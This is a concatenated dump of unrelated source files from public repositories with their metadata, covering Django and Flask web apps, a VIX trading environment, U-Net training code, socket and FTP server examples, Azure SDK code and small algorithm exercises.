5a3dde463182d1a912e6f240e481d7a62cb4f6b6 | 455d651b7362100718c0e516f37b85fea4b2c38e | /parser/digitalsmith_fetcher_modified.py | dd774c9b5076cfe24bcff19e562175e316e732f9 | [] | no_license | jsahuroot/catalogue | a5215c985857ea390e521d5be6e997fe1a30b66e | 7638e9ef2f88900877085b3e1b04908a7db8a2be | refs/heads/master | 2023-03-02T21:11:12.020454 | 2021-02-03T09:13:02 | 2021-02-03T09:13:02 | 323,800,025 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 12,271 | py | #!/usr/bin/env python
import os
import json
import jsonschema
import time
import sys
from vtv_utils import make_dir_list, remove_dir_files, copy_file_list, copy_file, move_file_forcefully, vtv_send_html_mail_2
from vtv_task import VtvTask, vtv_task_main
from s3_utils import download_s3_file, get_s3_file_by_wildcard
cl... | [
"jitendra.sahu@tivo.com"
] | jitendra.sahu@tivo.com |
4ea7bacca0af84e490cf55b3ba916a62c5393dbb | 3fa480cf996c4f597013f89c31dacdbd1abde153 | /server/lobby_server_handlers/AuthorizationHandler.py | fa2e4abb8eeebaca88304ec5cb6aa2161d248490 | [] | no_license | einhornus/CrazyGo | bdfd3700f912a616384cec1cace822e0a0604e4a | a7ffcd6cc75c515e93b7f9ff11ac412d5a0b7d5e | refs/heads/master | 2021-01-20T04:04:43.913605 | 2017-10-05T16:20:26 | 2017-10-05T16:20:26 | 101,261,846 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,488 | py | from Server import *
from utils.Validator import *
from utils.print_utils import *
from utils.db_queries import *
from utils.security import *
from lobby_server_handlers.factory_utils import *
class AuthorizationHandler(Handler):
def get_validator(self):
res = Validator(['id', 'token'])
return res... | [
"luckjanovdmitry@yandex.ru"
] | luckjanovdmitry@yandex.ru |
83d3d6925c21facfd3766c1e896d23ebf4bf2a33 | 902bb659e6a28a69a228a4fbd89467158a9ebeee | /config.py | c3d6508971e0eb7194c746e0aa4de628774b23f4 | [] | no_license | kylepamintuan/django-intro | c993b6cd8ab0b912d8c169cc2d409215ef17760f | 9ea7a3f2f8bbe78580bf23b0ba2b1cc76e6119ec | refs/heads/master | 2022-12-05T08:39:16.316536 | 2020-08-28T23:13:58 | 2020-08-28T23:13:58 | 287,610,142 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 49 | py | import os
MODE = os.getenv('MODE')
# print(MODE) | [
"kylepamintuan@gmail.com"
] | kylepamintuan@gmail.com |
30660dc6c9d096d6533e3946c6211c6e681d7f76 | 434b373e1b8859a77029346f08108aa959f116ac | /curso/concurrente/threads/18.-pool.py | ba742838a5128800d13a51bf1e97d333e7c20c77 | [] | no_license | gamorales/codigo | 144d72d52a223254bfc9249f7e9e05494857648a | bf75a354b5e265cf8fe70b2d497f64df026e18b2 | refs/heads/main | 2023-05-11T00:47:33.967454 | 2021-03-22T03:35:00 | 2021-03-22T03:35:00 | 253,639,839 | 0 | 0 | null | 2023-05-01T21:00:08 | 2020-04-06T23:33:49 | Python | UTF-8 | Python | false | false | 621 | py | import time
import logging
import threading
from concurrent.futures import ThreadPoolExecutor
logging.basicConfig(level=logging.DEBUG, format='%(threadName)s: %(message)s',)
def math_operation(number1, number2):
time.sleep(1)
result = number1 + number2
logging.info(f'Resultado de {number1} + {number2} =... | [
"guilleccep@gmail.com"
] | guilleccep@gmail.com |
5ced3b2b63914733332588265f82e868e2cf0a5c | 6f211bee3274ffea34c7910393770a3ce881f921 | /contracts/views.py | 6e1c6a5b4aedbbd9be265a08eb6f39ad30e01029 | [] | no_license | luizzmizz/dmart | 7d0266c234a3a02c8ee749f81fdc5872b748cead | 540ca77d0facaa9fdbe8aa5ad22b8cc8284665ec | refs/heads/master | 2020-06-29T21:43:08.585885 | 2016-09-07T13:45:23 | 2016-09-07T13:45:23 | 67,285,137 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,428 | py | from django.shortcuts import render
from datetime import datetime
# Create your views here.
from models import query
from django.http import HttpResponse
from django.template import loader
from django.db import connections
import django_tables2 as tables
import os
class mytable(tables.Table):
contract_number=tabl... | [
"root@srv-gestion-oracle.unitronics.es"
] | root@srv-gestion-oracle.unitronics.es |
bf251dd57cbd20ebd5de2318b42b699392cdd06a | 18d221fa6a935655cf235beacbc514a221a7d57d | /backend/tasks/tests.py | c7b9d0385ffc624c4deb60742fcb10ed605bf4fd | [] | no_license | vruya/jars | 8ed6e47d48d4fe9f66762f0a9d88f01355c41f84 | 725380ae76e2adfcaa8d46ccae3f50e81b31244e | refs/heads/master | 2023-04-25T06:25:39.272218 | 2021-05-15T09:56:41 | 2021-05-15T09:56:41 | 367,593,847 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,976 | py | from django.test import TestCase
from django.urls import reverse
from rest_framework.test import APITestCase
from rest_framework import status
from tasks.serializers import TaskSerializer
from tasks.models import Task
import json
class ModelTestCase(TestCase):
def testModel(self):
task = Task(name="My ... | [
"k4lly2@gmail.com"
] | k4lly2@gmail.com |
7138b968dabeeafecdd36463a212e3752ca3a438 | 90e81d270bc061e0f648c004325a0edbc109e772 | /bookmak/apps.py | 064189a6d5b396baa2266b0ab34716525b7624ab | [] | no_license | nurbergen02/film | 1439bd4e6401e65e88ac51d2f5e8e1da832fce41 | 822ca563cddd4ca4f9eac808b324d2c32ed3d867 | refs/heads/master | 2023-08-21T05:36:39.827526 | 2021-10-29T13:28:54 | 2021-10-29T13:28:54 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 146 | py | from django.apps import AppConfig
class BookmakConfig(AppConfig):
default_auto_field = 'django.db.models.BigAutoField'
name = 'bookmak'
| [
"kanumetovnurbergen@gmail.com"
] | kanumetovnurbergen@gmail.com |
6ddf11a30d77ac956107f13d376e0f5945b8cf27 | 3e81fdf9bbf5d9285da50c6cadb48e87c999baf7 | /vix/model7/trpo_large_noise/trading_vix_env.py | 4e9c54c0eab0c259840794f538bbf52332fd49af | [] | no_license | huazuhao/policy_gradient_cartpole | b665ae0f1a6180dd62a783f28498cfdbd2132ed2 | b6f757dd787e477012231694764069a9c483c005 | refs/heads/main | 2023-06-17T03:19:15.511779 | 2021-07-17T05:20:24 | 2021-07-17T05:20:24 | 364,783,163 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 7,133 | py | import gym
from gym import spaces
import pandas as pd
import numpy as np
import random
from random import randrange
from sympy.solvers import solve
from sympy import Symbol
class trading_vix_env(gym.Env):
def __init__(self):
super(trading_vix_env,self).__init__()
self.max_trajectory_length_in_day... | [
"huazuhao@bitbucket.org"
] | huazuhao@bitbucket.org |
9f7b36625f5209f81f3d023fd00f642f97177a60 | 0369374279fb5b2eaf2b87aebbacd9da0bdd5861 | /nb_pl_args.py | 03fe87f8fca7c45eca56fecfb2210696e6f72b1f | [
"MIT"
] | permissive | icrdr/3D-UNet-Renal-Anatomy-Extraction | 56f93cfddb9fa42e8acfc75c4ad0ce131812138f | 50b16151730ec7868b3d3482e4db31e4c1e25412 | refs/heads/master | 2022-11-24T14:44:48.501264 | 2020-07-25T08:21:43 | 2020-07-25T08:21:43 | 282,401,698 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 7,547 | py | # %%
from tqdm import tqdm, trange
from visualize import grid_plt, sample_plt
from data import CaseDataset
from trainer import DatasetFromSubset, Trainer, predict_3d_tile
from network import generate_paired_features, Unet, ResBlock, ResBlockStack
from loss import DiceCoef, FocalDiceCoefLoss, dice_coef
from torchvision... | [
"icrdr2010@outlook.com"
] | icrdr2010@outlook.com |
c1b101f8914fcc60583cb2f36b6db89aa4e3aa9b | 741ee09b8b73187fab06ecc1f07f46a6ba77e85c | /AutonomousSourceCode/data/raw/sort/057d98c9-3f90-4dd0-ab4a-c70c73015106__test_radix_sort.py | e703ae7b2fa212cae8724089524582c5ab5b833d | [] | no_license | erickmiller/AutomatousSourceCode | fbe8c8fbf215430a87a8e80d0479eb9c8807accb | 44ee2fb9ac970acf7389e5da35b930d076f2c530 | refs/heads/master | 2021-05-24T01:12:53.154621 | 2020-11-20T23:50:11 | 2020-11-20T23:50:11 | 60,889,742 | 6 | 1 | null | null | null | null | UTF-8 | Python | false | false | 734 | py | # -*- coding utf-8 -*-
from __future__ import unicode_literals
import pytest
from structures.radix_sort import radix_sort
@pytest.fixture
def sorted_list():
return [i for i in xrange(10)]
@pytest.fixture
def equal_values_list():
return [5, 9, 4, 2, 5, 0, 5, 2, 6, 4]
@pytest.fixture
def random_list():
... | [
"erickmiller@gmail.com"
] | erickmiller@gmail.com |
b360b784071501c6a5cd07ded434bf7588c9598d | d32c5f7c5f09d890f64f03a7ad16887a32db8bfa | /iDiet.py | 91d400e4405850b772c62b384eef376d68538bb8 | [] | no_license | CherryPhil/Share-Files | 33b8ed132f08eff8fd17ec058bf4f12ad7c9227b | 8e4082b43885297d3840c5926620c33748fe98b4 | refs/heads/master | 2021-05-12T19:39:22.909649 | 2018-02-05T13:05:47 | 2018-02-05T13:05:47 | 117,099,483 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 26,563 | py | from flask import Flask, render_template, request, redirect, url_for, jsonify, session
#Firebase
import firebase_admin
from firebase_admin import credentials, db
from formLogin import LoginForm
from formRegister import RegisterForm
from formProfile import ProfileForm
from postVar import Post
from postVar im... | [
"noreply@github.com"
] | CherryPhil.noreply@github.com |
63a588b38a021df99626fd7f003cdfbd4f20eaf3 | 83aa3050fe8c3467a9eb6005c5804fbab9497379 | /search/views.py | 501daa102802f243c3cc21ac534163fb8804bb64 | [] | no_license | igorlebovic/Mobile-Order-Placement | 28e6ab94e5d6359c69997468e290196716addd5a | 0064c4c96faf9d5a53769d4ec179f9c96bbf1070 | refs/heads/master | 2016-08-03T09:35:04.184759 | 2011-03-05T07:22:59 | 2011-03-05T07:22:59 | 1,429,277 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,272 | py | from django.shortcuts import render_to_response
from django.template import RequestContext
from django.core.paginator import Paginator, InvalidPage, EmptyPage
from speeqeweb.search import search
from speeqeweb import settings
from django.utils import simplejson
from django.http import HttpResponse
from django.core im... | [
"igor.lebovic@gmail.com"
] | igor.lebovic@gmail.com |
63c864a8581fcfaab43516b76e7ffc89d6f4cace | 762db71e9bb66ab5821bd91eff7e0fa813f795a0 | /code/python/echomesh/remote/Transfer.py | d7504dc059f9bbdcfba3ac617fd24c7d8a0271ed | [
"MIT"
] | permissive | huochaip/echomesh | 0954d5bca14d58c0d762a5d3db4e6dcd246bf765 | be668971a687b141660fd2e5635d2fd598992a01 | refs/heads/master | 2020-06-17T20:21:47.216434 | 2016-08-16T16:49:56 | 2016-08-16T16:49:56 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,327 | py | from __future__ import absolute_import, division, print_function, unicode_literals
import os
import os.path
import shutil
import six
from echomesh.remote import RemoteRegistry
from echomesh.base import Settings
from echomesh.base import MakeDirs
from echomesh.base import Path
def transfer(_, **data):
backup_dir... | [
"tom@swirly.com"
] | tom@swirly.com |
a84676b6ba6ffdf94410ce0eb6e19ab89b6b5c66 | 6aede685b491634442e7113041e3dd33d8e59465 | /main.py | 9720641276b0cdef043f423029aabd98c4e023d6 | [] | no_license | jakubthedeveloper/PoznajmyPygame | 611297ad375bdd08491c452cff7b292e5d1751ae | 8b88632f8f0b8d460ea514b27ca37d70bbb3c843 | refs/heads/master | 2023-01-06T08:38:27.105261 | 2020-10-31T15:51:00 | 2020-10-31T15:51:00 | 114,876,804 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 748 | py | #!/usr/bin/env python
# -*- coding: utf-8 -*-
import os
import sys
import pygame
import game
import menu
from levels import *
pygame.init()
window_caption = "Poznajmy PyGame"
max_display_height = int(pygame.display.Info().current_h * 0.9)
display_size = (1024, min(768, max_display_height))
fullscreen = False
def get... | [
"jakub.krysakowski@gmail.com"
] | jakub.krysakowski@gmail.com |
12c3686889b5f2939251bba96d1dae41d0888969 | 9f412a0a84ecf07193830d5ae90079171a1f7bf6 | /backend/plain_pond_27687/urls.py | 4eb6d901ddc72cbc259a6a96609d240f76cc2b4d | [] | no_license | crowdbotics-apps/plain-pond-27687 | 1a677c88e259ee68fbb44a7162903e297adbdb7d | 006d431f84180c9e95b0f70ebcd6df6b52faeb23 | refs/heads/master | 2023-05-09T12:44:59.849288 | 2021-06-02T18:49:43 | 2021-06-02T18:49:43 | 373,271,755 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,223 | py | """plain_pond_27687 URL Configuration
The `urlpatterns` list routes URLs to views. For more information please see:
https://docs.djangoproject.com/en/2.2/topics/http/urls/
Examples:
Function views
1. Add an import: from my_app import views
2. Add a URL to urlpatterns: path('', views.home, name='home')
Cl... | [
"team@crowdbotics.com"
] | team@crowdbotics.com |
a487d92d7aa1f17f5cb3a204ee05ef92969e8474 | edc3be3343f1e95f87f5fa184dccbd2959a2a49d | /opt/mpi4py-3.1.1/demo/futures/run_primes.py | 34dc986523b7ae1d197fc3c09fcb2d25b203e440 | [] | no_license | JBlaschke/docker-mpich | 2bdeca1d4006688d55ad8eb9e696c3c6a0adab7b | 938d0608b02cced4881ec8aba27d24cea0c2319b | refs/heads/master | 2023-08-02T03:38:09.571629 | 2021-09-12T18:58:44 | 2021-09-12T18:58:44 | 405,728,263 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 694 | py | from __future__ import print_function
import math
from mpi4py.futures import MPIPoolExecutor
PRIMES = [
112272535095293,
112582705942171,
112272535095293,
115280095190773,
115797848077099,
117450548693743,
993960000099397,
]
def is_prime(n):
if n % 2 == 0:
return False
sqr... | [
"jpblaschke@lbl.gov"
] | jpblaschke@lbl.gov |
f9e5d442551f8f212b8868c52d63b8be0505383d | 4563ae15d16d136d2b18c6bfb9ca148388f3c74c | /algorithms/stack.py | 2c4d7a0842d8a1b87f2ab22a5eaa31398d57540f | [] | no_license | EmmanuelSHS/LeetCode | 47453a8e6f9ce52f2ab917d006ecd90c02bdf094 | f0d4d581fd0c6ea57fc7fa969677f04c8b076284 | refs/heads/master | 2021-01-10T17:11:01.974793 | 2016-12-15T17:39:15 | 2016-12-15T17:39:15 | 44,061,585 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 991 | py | #!/usr/bin/env python
# coding=utf-8
import copy
class stack:
def __init__(self, list, maxlen):
self.top = len(list) - 1
self.maxlen = maxlen
self.list = copy.deepcopy(list)
def empty(self):
return True if self.top == -1 else False
def push(self, x):
if isins... | [
"clochard93@gmail.com"
] | clochard93@gmail.com |
ababa1433d212f092af98106f6265a8723cc3983 | 879095825d8079a10d0bb49670a07a41a04fd78b | /OnlineShopping/products/urls.py | 1430056e7332dd4364b528ade260ad83316277bd | [] | no_license | raviteja-peri/OnlineShopping | 317c3431b9d33e980425d2c552f9a9526bd26a97 | 117c1ee57102864850f1f5938c391756efea929f | refs/heads/master | 2020-07-15T02:36:22.865797 | 2019-08-30T21:40:27 | 2019-08-30T21:40:27 | 205,460,057 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 375 | py | from django.urls import path
from products.views import product_list_by_category,ProductDetail,Search,product_list
app_name='products'
urlpatterns=[
path('',product_list,name='productlist'),
path('category/<slug>/',product_list_by_category,name='products'),
path('search/',Search,name='search'),
path('... | [
"periv@uwindsor.ca"
] | periv@uwindsor.ca |
4c9b3c312ed1bff80ca7cc04789ddc6fd171bd8f | f45211c864d23f89326271c8ca0ec7b0b53b356a | /Naive_Bayesian_EM/k_7_com_features.py | ab97488d246066dc1fa7b11670ea5787030a48ef | [] | no_license | KEVINYZY1/Model-Alan | 37d9223680831da5794c121d5738464422b358f8 | bdb32d0837cddfcd8766525d95c53193a27dc61c | refs/heads/master | 2020-03-30T01:51:23.154586 | 2017-05-19T03:21:01 | 2017-05-19T03:21:01 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 10,345 | py | # !/usr/bin/python
# -*- coding:utf-8 -*-
import numpy as np
from scipy.stats import multivariate_normal
from sklearn.mixture import GMM
#from mpl_toolkits.mplot3d import Axes3D
#import matplotlib as mpl
#import matplotlib.pyplot as plt
from sklearn.cross_validation import train_test_split
from sklearn.naive_bayes imp... | [
"1390880230@qq.com"
] | 1390880230@qq.com |
90ad84c9ee8207cfb8f4c72a00d0a55af67734cd | 90d13ffb6fa1988242886c3e55e4b555fa7d8ad1 | /utils/Mesa-7.10/src/gallium/winsys/radeon/drm/SConscript | 2dbf61a7ba3bf214c177ec15747c04a38ecfe0b0 | [] | no_license | mclumd/erewhon_systems | 2c798cd303ca2cb19e80c93c88303af8b9aed5a6 | 93655a96415a01d8f5e49a1f2c244cbfd22b65f2 | refs/heads/master | 2021-01-17T16:22:53.528996 | 2016-08-03T19:35:52 | 2016-08-03T19:35:52 | 64,771,684 | 2 | 0 | null | null | null | null | UTF-8 | Python | false | false | 356 | Import('*')
env = env.Clone()
radeon_sources = [
'radeon_drm_buffer.c',
'radeon_drm_common.c',
'radeon_r300.c',
]
env.ParseConfig('pkg-config --cflags libdrm_radeon')
env.Append(CPPPATH = '#/src/gallium/drivers/r300')
radeonwinsys = env.ConvenienceLibrary(
target ='radeonwinsys',
source = radeon... | [
"cmaxey@payday.cs.umd.edu"
] | cmaxey@payday.cs.umd.edu | |
809cbea84a46077f1717e7f0f464b0e2cbe9f67d | e53bb08582973a3faa76e2f2210086a7019a528f | /middlewares/response_middleware.py | fb774b75c026943704dd7671c12137487b6557db | [
"MIT"
] | permissive | f840415070/genius | bb8aba51fac29e92bc0b1c833dfe3f52a70fba68 | 87e20350f98e84bc81b727a793d2dda37ffb3d03 | refs/heads/master | 2023-06-01T21:56:19.057610 | 2020-04-20T03:45:53 | 2020-04-20T03:45:53 | 233,549,982 | 4 | 1 | MIT | 2023-05-22T22:37:54 | 2020-01-13T08:44:40 | Python | UTF-8 | Python | false | false | 768 | py | # -*- coding: utf-8 -*-
'''
@Date: 2019/12/30
@Author: fanyibin
@Description: 响应中间件
'''
from frame_library.singleton import Singleton
from frame_library.logger import get_log_config
class ResMiddleware(metaclass=Singleton):
def __init__(self):
self.log = get_log_config()
def check_response(self, res)... | [
"f84041507@163.com"
] | f84041507@163.com |
f634ad49ba912458c7afbbb41671d6a330f3eb88 | a3df5320fd2f17e2a7e873f3747ae28bb90f1f68 | /poll_server.py | e238232378b50ddc350bc1dba7063d9beb9a6dac | [] | no_license | AsuraChj/AID2006 | 6dc4e789f1ce84dd2bb11fc3b138d84084ec5711 | 9ff6ad7ab8a722682dba4de145595e2b608091bc | refs/heads/master | 2022-12-02T06:21:43.991644 | 2020-08-21T07:52:26 | 2020-08-21T07:52:26 | 288,695,308 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,363 | py | """
基于 POLL方法的 IO多路复用网络并发
"""
from socket import *
from select import *
# 创建好监听套接字
sockfd = socket()
sockfd.bind(('0.0.0.0', 8888))
sockfd.listen(5)
# 与非阻塞IO配合防止传输过程阻塞
sockfd.setblocking(False)
# 创建poll对象
p = poll()
# 准备IO进行监控 map字典用于查找IO对象,必须与register一致
map = {sockfd.fileno(): sockfd}
p.register(sockfd,POLLIN)
# ... | [
"2592803595@qq.com"
] | 2592803595@qq.com |
b461cd6b2fba3f2bf2aace6e95f110b5921ca691 | 59ad7563b7c64e0ec422653b3feba9675cc228d4 | /hr_release/models/__init__.py | 8f560a335127e7fe9c67f29209b69c11fbfc3b1b | [] | no_license | ammaralsabba/ALDEEBL-FISH | 32a628f2d047340b656077473633d16e08b77737 | 95f0a72a75c109c5bad886d0e534d5295864bc3f | refs/heads/master | 2020-04-26T13:00:39.538879 | 2019-03-04T14:53:42 | 2019-03-04T14:53:42 | 173,567,681 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 125 | py | # -*- coding: utf-8 -*-
# Part of Odoo. See LICENSE file for full copyright and licensing details.
from . import hr_release
| [
"noreply@github.com"
] | ammaralsabba.noreply@github.com |
5409dc2a6e175f7cdf290e02b85c7adea95e1e71 | 69d219254ac51410dada23d9003a114daf2aa162 | /scripts/sequence_feature_frequencies.py | ec600f0e12d90cbf1aaa10a07f618625cb36db8e | [] | no_license | skerker/utr_analysis | 5287f39fe2981623e768b7385bc6c891d5f9d376 | ba57006cdf6719195fdaa5e92fe55c4652c9ffc4 | refs/heads/master | 2021-08-14T08:20:18.432931 | 2017-11-15T03:53:31 | 2017-11-15T03:53:31 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 7,506 | py | #!/usr/bin/env python
"""
Keith Hughitt
2014/03/17
Finds reads containing either Poly(A) or Poly(T) tracts and attempts to guess
whether those sequences are a part of the genome, or come from a
poly-adenylation site.
The purpose of this script is to try and provide some basic guidelines for
where to look for poly-ade... | [
"keith.hughitt@gmail.com"
] | keith.hughitt@gmail.com |
313b7063b5198fdd744db7126fed0b419cf3d866 | ddc8b1910f7e96259e9eedc37c25a7e1b48ca11d | /iedb/__init__.py | f2dfe06a063a978ecd72ab18fea6f0f2dacd0905 | [
"MIT"
] | permissive | venkataduvvuri/iedb-python | be202dca4307c875d4fa32779eb6c3eedb8cffbd | 3412eec81526f6166f40b0c4698635b66153fb17 | refs/heads/master | 2023-04-21T02:21:02.984476 | 2021-05-11T03:23:27 | 2021-05-11T03:23:27 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 153 | py |
from iedb.api import (
query_mhci_binding,
query_mhcii_binding,
query_tcell_epitope,
query_peptide_prediction,
query_bcell_epitope
) | [
"mattfemia1@gmail.com"
] | mattfemia1@gmail.com |
15220c116e3826ff490fb6baa981d35c31cbd69b | 5537eec7f43098d216d2b550678c8d10b2a26f09 | /venv/ansible/lib/python2.7/site-packages/azure/mgmt/redis/operations/redis_operations.py | 15567caaf0b2cda2a209918f901f6e1af1ab2df3 | [] | no_license | wipro-sdx/Automation | f0ae1512b8d9d491d7bacec94c8906d06d696407 | a8c46217d0fbe51a71597b5db87cbe98ed19297a | refs/heads/master | 2021-07-08T11:09:05.314435 | 2018-05-02T07:18:54 | 2018-05-02T07:18:54 | 131,812,982 | 0 | 1 | null | 2020-07-23T23:22:33 | 2018-05-02T07:15:28 | Python | UTF-8 | Python | false | false | 33,162 | py | # coding=utf-8
# --------------------------------------------------------------------------
# Copyright (c) Microsoft Corporation. All rights reserved.
# Licensed under the MIT License. See License.txt in the project root for
# license information.
#
# Code generated by Microsoft (R) AutoRest Code Generator.
# C... | [
"admin@example.com"
] | admin@example.com |
52c6be96fc5d3a791c96d286c9fc69b887c703e3 | 62d64a7422cd9802dd4bb9d308f14dce6d3468a0 | /Base/BaseFile.py | 3c6d1555955429ce4442a25ad6d3e0417ff207cc | [] | no_license | ruby1045/vboardAutoTest | de3798c0828cf51f2f9e043a7b402f23c31752dc | de8a89bab13905b43bc9d7971d1576dab641c30d | refs/heads/master | 2020-03-18T11:46:50.467592 | 2018-05-29T07:59:29 | 2018-05-29T07:59:29 | 134,690,857 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 681 | py | __author__ = 'vBoardTester'
import os
'''
操作文件
'''
def write_data(f, method='w+', data=""):
if not os.path.isfile(f):
print('文件不存在,写入数据失败')
else:
with open(f, method, encoding="utf-8") as fs:
fs.write(data + "\n")
def mkdir_file(f, method='w+'):
if not os.path.isfile(f):
... | [
"ruby1045@163.com"
] | ruby1045@163.com |
a22a66cf39f2a58463446a3541d9c9859761d617 | 69b93223fc6794123269022a02e5a1dcf130e698 | /121_Best_Time_to_Buy_and_Sell_Stock.py | 4d71cc2baeef778bf9fc8bc85c27e8cf66d6a37d | [] | no_license | GuangyuZheng/leet_code_python | 43b984ce98cc889a7e07151004d347cb03b2d9b2 | 266def94df8245f90ea5b6885fc472470b189e51 | refs/heads/master | 2020-09-05T18:12:07.649374 | 2020-02-22T09:37:59 | 2020-02-22T09:37:59 | 220,177,486 | 2 | 1 | null | null | null | null | UTF-8 | Python | false | false | 368 | py | from typing import List
class Solution:
def maxProfit(self, prices: List[int]) -> int:
if len(prices) == 0:
return 0
min_price = prices[0]
m_profit = 0
for i in range(1, len(prices)):
min_price = min(min_price, prices[i])
m_profit = max(m_profit,... | [
"583621555@qq.com"
] | 583621555@qq.com |
999da581a075c68eddb6c496ad7f6ce41d8f5236 | 46577f70342ef2cf811bcfc3756e1238482f8b3c | /blog/models.py | 0231f1cbb1f9f638bf0952b18ec317bdb75e2848 | [] | no_license | 13114848878/MyBlog | f3b4a38cceecdae7f761514e4ec452ba9dd41b90 | f7ebfc47f9a5382d9dd7ff93157d0bddcafa4056 | refs/heads/master | 2020-08-06T20:12:55.399606 | 2019-10-13T14:11:08 | 2019-10-13T14:11:08 | 213,138,175 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 3,605 | py | # coding:utf-8
from django.db import models
#导入Django自带用户模块
from django.contrib.auth.models import User
# 载入富文本类
from DjangoUeditor.models import UEditorField
from mdeditor.fields import MDTextField
# Create your models here.
class Category(models.Model):
"""
文章分类表
"""
name = models.CharField('分类', max_length=1... | [
"414319563@qq.com"
] | 414319563@qq.com |
be02581c2e1ff9d55f4f09c85e9cf109f689ea46 | cae10699b3deab7910e3df2b572a734387a32be6 | /airtable_manager.py | 3d6808d73541659a76442348b158e297bac374bf | [] | no_license | sjhangiani12/connect | 2df7d94125c297e0259f816a19afc6feee3af768 | 7eebebe69d49f9acc88c7701a53402f151ce986a | refs/heads/master | 2022-12-18T00:48:56.112166 | 2020-08-23T19:47:46 | 2020-08-23T19:47:46 | 289,675,197 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,030 | py | # from airtable get next name + source that is not muted.
# Take earliest date and if tied take random from remaining.
from airtable import Airtable
from keys import airtable_api_key, airtable_base_key
from datetime import datetime
airtable_obj = Airtable(base_key=airtable_base_key, table_name="contacts", api_key=... | [
"sjhangiani12@users.noreply.github.com"
] | sjhangiani12@users.noreply.github.com |
e9cba56d2439c33370a96611cdacbc6c7a3451fc | a91dc355662617269d90efdadc1c3d9cf3220f57 | /CodeHS/2/17/5/Happy-Sad-Face-Travis.py | 062a0836bfdb7ca718dbbc9378fc9066a4ed2411 | [] | no_license | CRTC-Computer-Engineering/CRTC-Python-Examples | 112adbbe73f7841acb077153c454f06dec46c1e2 | ae94d792cc5f5ba23c4a7356a02f85800d0c9c7e | refs/heads/master | 2020-08-31T19:10:16.719526 | 2019-11-22T19:17:43 | 2019-11-22T19:17:43 | 218,763,254 | 2 | 1 | null | 2019-11-22T19:17:44 | 2019-10-31T12:41:58 | Python | UTF-8 | Python | false | false | 923 | py | speed(0)
penup()
pensize(10)
happy=input("Are you happy? (yes,no): ")
## Make a smile based on 0,0
def make_smile():
setposition(0,-70)
color("black")
pendown()
circle(60,90)
color("yellow")
circle(60,180)
color("black")
circle(60,90)
penup()
## Make a frown based on 0,0
def make_fro... | [
"travbuttons34@gmail.com"
] | travbuttons34@gmail.com |
12dfbcfb707df5b7be2620a8f2e84adc58652615 | 04333bf8cdf31ad8004283d9414d8b7947154808 | /python/p029.py | 440efdb56e2c155591c992ec87250d1074d4c54c | [] | no_license | davidroeca/ProjectEuler | 3868d7c4172a63fc83b04f95323962a005b34848 | 79cfa9041561edb0ac2ce258b8d6e224ecd1cfe0 | refs/heads/master | 2021-03-12T20:30:31.625852 | 2016-10-03T13:11:20 | 2016-10-03T13:11:20 | 41,495,588 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 908 | py | """
Problem 29:
Consider all integer combinations of ab for 2 <= a <= 5 and 2 <= b <= 5:
2^2=4, 2^3=8, 2^4=16, 2^5=32
32=9, 33=27, 3^4=81, 3^5=243
42=16, 43=64, 44=256, 45=1024
52=25, 53=125, 54=625, 55=3125
If they are then placed in numerical order, with any repeats removed, we get the
following se... | [
"david.roeca@gmail.com"
] | david.roeca@gmail.com |
9fb8ae8cb045e3f1e064f53ba7ed14a4c060d7b7 | a1301fc01f98b5033f604cc564d73b97788e4ba9 | /server.py | b2e633b6f90cf6336369b971739e41f586b219ed | [] | no_license | stannumm/Basic-FTP-Project- | 74f6cd1a11abe232ddc7f39426e704601b32674c | b250be2df6457170b7fe4d27e4f89b83b619e287 | refs/heads/master | 2020-03-06T23:12:45.323725 | 2018-03-28T11:04:19 | 2018-03-28T11:04:19 | 127,126,689 | 0 | 0 | null | null | null | null | ISO-8859-9 | Python | false | false | 471 | py |
#server scripti
# alındığı site : https://pypi.python.org/pypi/pyftpdlib/
from pyftpdlib.authorizers import DummyAuthorizer
from pyftpdlib.handlers import FTPHandler
from pyftpdlib.servers import FTPServer
authorizer = DummyAuthorizer()
authorizer.add_user("user", "12345", "C:/Users/ahmet/Desktop/FTP", pe... | [
"noreply@github.com"
] | stannumm.noreply@github.com |
b032f4d5282db47874e320529199a0252434e484 | efe5a8bb255d6084c13166f88611250780f7eaf7 | /daiyeDRF2/settings.py | 170641aab888f46c4576bc83d577d0a9ad888e7a | [] | no_license | daiyeyue/daiyeDRF2 | 18c9cd413653e158f1d6ce6899f0db2b9202a78d | 60ad6740845be973aee18b492861775fe8e0c1a9 | refs/heads/master | 2020-12-05T08:23:55.994814 | 2020-01-06T08:32:38 | 2020-01-06T08:32:38 | 232,057,475 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 3,207 | py | """
Django settings for daiyeDRF2 project.
Generated by 'django-admin startproject' using Django 1.11.10.
For more information on this file, see
https://docs.djangoproject.com/en/1.11/topics/settings/
For the full list of settings and their values, see
https://docs.djangoproject.com/en/1.11/ref/settings/
"""
import... | [
"150064328@qq.com"
] | 150064328@qq.com |
